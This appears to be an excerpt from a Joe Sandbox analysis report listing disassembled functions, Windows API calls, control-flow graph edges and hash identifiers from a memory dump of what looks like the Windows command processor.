                                                    • Opcode Fuzzy Hash: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
                                                    • Instruction Fuzzy Hash: 6C41D535E2860386FA509BA8E94067937A0AFA4344F440535DB5DCB7B2DFBCEC998790
                                                    Function 00007FF6BF3D89C0 Relevance: 9.1, APIs: 6, Instructions: 85COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1207 7ff6bf3d89c0-7ff6bf3d8a3d memset call 7ff6bf3dca40 1210 7ff6bf3d8a43-7ff6bf3d8a71 GetDriveTypeW 1207->1210 1211 7ff6bf3d8ace-7ff6bf3d8adf 1207->1211 1212 7ff6bf3eb411-7ff6bf3eb422 1210->1212 1213 7ff6bf3d8a77-7ff6bf3d8a7a 1210->1213 1214 7ff6bf3d8ae1-7ff6bf3d8ae8 ??_V@YAXPEAX@Z 1211->1214 1215 7ff6bf3d8aed 1211->1215 1218 7ff6bf3eb424-7ff6bf3eb42b ??_V@YAXPEAX@Z 1212->1218 1219 7ff6bf3eb430-7ff6bf3eb435 1212->1219 1213->1211 1216 7ff6bf3d8a7c-7ff6bf3d8a7f 1213->1216 1214->1215 1217 7ff6bf3d8aef-7ff6bf3d8b16 call 7ff6bf3e8f80 1215->1217 1216->1211 1220 7ff6bf3d8a81-7ff6bf3d8ac8 GetVolumeInformationW 1216->1220 1218->1219 1219->1217 1220->1211 1222 7ff6bf3eb3fc-7ff6bf3eb40b GetLastError 1220->1222 1222->1211 1222->1212
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$DriveErrorInformationLastTypeVolume
                                                    • String ID:
                                                    • API String ID: 850181435-0
                                                    • Opcode ID: 1c8e67db695c6f6d23b7c0e3cb32e635de602e3492999dee0d50d7fe40b8053d
                                                    • Instruction ID: 893b5c1136969302ee7f61bd6b5e4009f7add8793cb6a4527603e4ef5666114b
                                                    • Opcode Fuzzy Hash: 1c8e67db695c6f6d23b7c0e3cb32e635de602e3492999dee0d50d7fe40b8053d
                                                    • Instruction Fuzzy Hash: D4418F36618BC1C9E7718F68D8442E97BA4FB89B44F444525DB4D8BB68CF38D949C740
                                                    Function 00007FF6BF3E4A14 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1224 7ff6bf3e4a14-7ff6bf3e4a3e GetEnvironmentStringsW 1225 7ff6bf3e4aae-7ff6bf3e4ac5 1224->1225 1226 7ff6bf3e4a40-7ff6bf3e4a46 1224->1226 1227 7ff6bf3e4a59-7ff6bf3e4a8f GetProcessHeap HeapAlloc 1226->1227 1228 7ff6bf3e4a48-7ff6bf3e4a52 1226->1228 1230 7ff6bf3e4a9f-7ff6bf3e4aa9 FreeEnvironmentStringsW 1227->1230 1231 7ff6bf3e4a91-7ff6bf3e4a9a memmove 1227->1231 1228->1228 1229 7ff6bf3e4a54-7ff6bf3e4a57 1228->1229 1229->1227 1229->1228 1230->1225 1231->1230
                                                    APIs
                                                    • GetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A28
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A66
                                                    • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A7D
                                                    • memmove.MSVCRT(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A9A
                                                    • FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4AA2
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: EnvironmentHeapStrings$AllocFreeProcessmemmove
                                                    • String ID:
                                                    • API String ID: 1623332820-0
                                                    • Opcode ID: 1c74cb7d747f94bb3f8ccfe64acdf6d421a13f5ebefc0e59dd75b6ffc5c77824
                                                    • Instruction ID: daeb110a6822333e7e823eb5a0f7ad5aab6f18725165a2b119a242a89fff2497
                                                    • Opcode Fuzzy Hash: 1c74cb7d747f94bb3f8ccfe64acdf6d421a13f5ebefc0e59dd75b6ffc5c77824
                                                    • Instruction Fuzzy Hash: 5B119136B1474282DE509B99F404139BBE0EF8DF90B599034DF4E47765DE3DE8418754
                                                    Function 00007FF6BF3E5CB4 Relevance: 7.5, APIs: 5, Instructions: 36synchronizationCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CloseCodeExitHandleObjectProcessSingleWaitfflushfprintf
                                                    • String ID:
                                                    • API String ID: 1826527819-0
                                                    • Opcode ID: f2fead82e6adea435ca3ec11aeaf7f247f0c9f685b678692693d010e6480eae1
                                                    • Instruction ID: 9d106d48d037250432e696403ff51df6dac69c1b17c37d96e32b9ed07c7f9597
                                                    • Opcode Fuzzy Hash: f2fead82e6adea435ca3ec11aeaf7f247f0c9f685b678692693d010e6480eae1
                                                    • Instruction Fuzzy Hash: 1A016D319086828AE604ABA8A4541B8BFA0FF9A755F446134D74F8A3B7DF7C9458C750
                                                    Function 00007FF6BF3E3060 Relevance: 6.1, APIs: 4, Instructions: 98COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3E1EA0: wcschr.MSVCRT(?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000,00000000,0000000A,?,00007FF6BF400D54), ref: 00007FF6BF3E1EB3
                                                    • SetErrorMode.KERNELBASE(00000000,00000000,0000000A,00007FF6BF3D92AC), ref: 00007FF6BF3E30CA
                                                    • SetErrorMode.KERNELBASE ref: 00007FF6BF3E30DD
                                                    • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3E30F6
                                                    • SetErrorMode.KERNELBASE ref: 00007FF6BF3E3106
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ErrorMode$FullNamePathwcschr
                                                    • String ID:
                                                    • API String ID: 1464828906-0
                                                    • Opcode ID: ae25a92083232286a245a47a38675b80b3e95939c3784da970b3955f028bd4da
                                                    • Instruction ID: 0ed1c03fa10409e829697cce2549603635c84ea0aa3964ea112b375389186c4b
                                                    • Opcode Fuzzy Hash: ae25a92083232286a245a47a38675b80b3e95939c3784da970b3955f028bd4da
                                                    • Instruction Fuzzy Hash: 81311331A2861282E7249F99A40007EBB60EF49B90F559234DB4ECB3F0DE7DEC858390
                                                    Function 00007FF6BF3DCA40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset
                                                    • String ID: onecore\base\cmd\maxpathawarestring.cpp
                                                    • API String ID: 2221118986-3416068913
                                                    • Opcode ID: 6a4e720990391e2bb656b5b6d9cefd15da5558a473930315f543f8d448153d3d
                                                    • Instruction ID: a21b7e170de5fbcd7d4757b83cff524be0594df726248e6010398edf70800463
                                                    • Opcode Fuzzy Hash: 6a4e720990391e2bb656b5b6d9cefd15da5558a473930315f543f8d448153d3d
                                                    • Instruction Fuzzy Hash: 57118225A2964285EF54CBA9B1542B923909F85BE4F1C4331EF6DCF7F6DE2CD8808390
                                                    Function 00007FF6BF3DBE00 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 120COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memsetwcschr
                                                    • String ID: 2$COMSPEC
                                                    • API String ID: 1764819092-1738800741
                                                    • Opcode ID: b9ab5f7dc9e1de4fb73340b4936d8faa2c9ba4b21260c8514921b1ab44a1c5e6
                                                    • Instruction ID: 046cde6f411d08a4f0b34be96cad204828d404f59512e8cdf1ad189afbb784f7
                                                    • Opcode Fuzzy Hash: b9ab5f7dc9e1de4fb73340b4936d8faa2c9ba4b21260c8514921b1ab44a1c5e6
                                                    • Instruction Fuzzy Hash: 80518869E8864285FB749BADA8413B96395AF84B84F084031DB4DCB7F6DF2CE84487C1
                                                    Function 00007FF6BF3E2EFC Relevance: 4.6, APIs: 3, Instructions: 101COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr$ErrorFileFindFirstLastwcsrchr
                                                    • String ID:
                                                    • API String ID: 4254246844-0
                                                    • Opcode ID: 053ef0ea037464bca1c3e1451370ecd30b301868f2ab00a5e1309acbdd43457e
                                                    • Instruction ID: 9823c6676e06839cfdac933b0345849f90a46c53a0e7004581641ec6f80ac8a3
                                                    • Opcode Fuzzy Hash: 053ef0ea037464bca1c3e1451370ecd30b301868f2ab00a5e1309acbdd43457e
                                                    • Instruction Fuzzy Hash: 0741A731E2874286EE208B98E4443B97BA0EF99784F444531DB4ECBBE1DF3CE8558790
                                                    Function 00007FF6BF3E5A68 Relevance: 4.5, APIs: 3, Instructions: 19COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _get_osfhandle$ConsoleMode
                                                    • String ID:
                                                    • API String ID: 1591002910-0
                                                    • Opcode ID: cc4878986f4e42514252d7eb877981450ae5bf52a0b27ba4d12556fbaf1eff51
                                                    • Instruction ID: 5d4970a9e047db3fd413bda3caef2fc5c3ac2984468bba88308ca1a87e184be1
                                                    • Opcode Fuzzy Hash: cc4878986f4e42514252d7eb877981450ae5bf52a0b27ba4d12556fbaf1eff51
                                                    • Instruction Fuzzy Hash: F7F07435A19712CBE6048BA8E9450797FA0FB9EB15F444134CB0EC7332DF7CA5658B00
                                                    Function 00007FF6BF3E291C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: DriveType
                                                    • String ID: :
                                                    • API String ID: 338552980-336475711
                                                    • Opcode ID: 3bcdc316eb0a86f33f1a800567ff16fc16a0090fe1dc924e7a0720ee54c15b7d
                                                    • Instruction ID: 7ae371557940dd0cabcabaa806c0db1b9ece11f229bd0e828a668615c3186e1c
                                                    • Opcode Fuzzy Hash: 3bcdc316eb0a86f33f1a800567ff16fc16a0090fe1dc924e7a0720ee54c15b7d
                                                    • Instruction Fuzzy Hash: 7DE06D7762864086E7209BA4E4510AAB7A0FB9D348F841925EA8DC7734DF3CD25ACB08
                                                    Function 00007FF6BF3E5AD8 Relevance: 3.1, APIs: 2, Instructions: 93COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3DCD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDA6
                                                      • Part of subcall function 00007FF6BF3DCD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDBD
                                                    • GetConsoleTitleW.KERNELBASE ref: 00007FF6BF3E5B52
                                                      • Part of subcall function 00007FF6BF3E4224: InitializeProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF6BF3E4297
                                                      • Part of subcall function 00007FF6BF3E4224: UpdateProcThreadAttribute.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF6BF3E42D7
                                                      • Part of subcall function 00007FF6BF3E4224: memset.MSVCRT ref: 00007FF6BF3E42FD
                                                      • Part of subcall function 00007FF6BF3E4224: memset.MSVCRT ref: 00007FF6BF3E4368
                                                      • Part of subcall function 00007FF6BF3E4224: GetStartupInfoW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF6BF3E4380
                                                      • Part of subcall function 00007FF6BF3E4224: wcsrchr.MSVCRT ref: 00007FF6BF3E43E6
                                                      • Part of subcall function 00007FF6BF3E4224: lstrcmpW.KERNELBASE ref: 00007FF6BF3E4401
                                                    • GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF6BF3E5BC7
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$AttributeConsoleHeapProcThreadTitlewcsrchr$AllocInfoInitializeListProcessStartupUpdate_wcsnicmplstrcmpwcschr
                                                    • String ID:
                                                    • API String ID: 497088868-0
                                                    • Opcode ID: 7ab6fa8dc0b51f14b91d73e5ffe10a57052e9477fd238aff7d214e1f01dcae97
                                                    • Instruction ID: 141958adb3ea8d4abfcc64e1531d7f8cf90b9e7a35eb4c21d984e987229dee76
                                                    • Opcode Fuzzy Hash: 7ab6fa8dc0b51f14b91d73e5ffe10a57052e9477fd238aff7d214e1f01dcae97
                                                    • Instruction Fuzzy Hash: 2931A735B6C64242FA64A7A9A4501BD7395FF89BC0F445031EB4ECBBB5DE3CE9018790
                                                    Function 00007FF6BF3E3A0C Relevance: 3.0, APIs: 2, Instructions: 43COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • FindClose.KERNELBASE(?,?,?,00007FF6BF3FEAC5,?,?,?,00007FF6BF3FE925,?,?,?,?,00007FF6BF3DB9B1), ref: 00007FF6BF3E3A56
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CloseFind
                                                    • String ID:
                                                    • API String ID: 1863332320-0
                                                    • Opcode ID: bab5306cd567feeb86bb0befbcdd41048a3801cd437bd301f39ca3c6803b8cd3
                                                    • Instruction ID: e40f67439486f35fb5bcb831eb262306cf6721e262f68aedf9a9b9580d3c6636
                                                    • Opcode Fuzzy Hash: bab5306cd567feeb86bb0befbcdd41048a3801cd437bd301f39ca3c6803b8cd3
                                                    • Instruction Fuzzy Hash: 4E019230F28A8396E664879DA5401797BA0EF88B80B549430D71DCB6B5DF2CF9E28390
                                                    Function 00007FF6BF3E9A6C Relevance: 3.0, APIs: 2, Instructions: 34COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Concurrency::cancel_current_taskmalloc
                                                    • String ID:
                                                    • API String ID: 1412018758-0
                                                    • Opcode ID: 1cbc76b91adcbc50426ec0160b6c43d02b5c02c802198208a66957b4662997da
                                                    • Instruction ID: 529d2575273f4e369de59cbcb6d7fae772cd507c029d9000e28ebe44a29057bf
                                                    • Opcode Fuzzy Hash: 1cbc76b91adcbc50426ec0160b6c43d02b5c02c802198208a66957b4662997da
                                                    • Instruction Fuzzy Hash: B6E09220F2A30781FE252BFA785107433445F28740F081430CF0D8E3A2EE2CE89183B0
                                                    Function 00007FF6BF3DCD90 Relevance: 2.5, APIs: 2, Instructions: 30memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDA6
                                                    • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDBD
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$AllocProcess
                                                    • String ID:
                                                    • API String ID: 1617791916-0
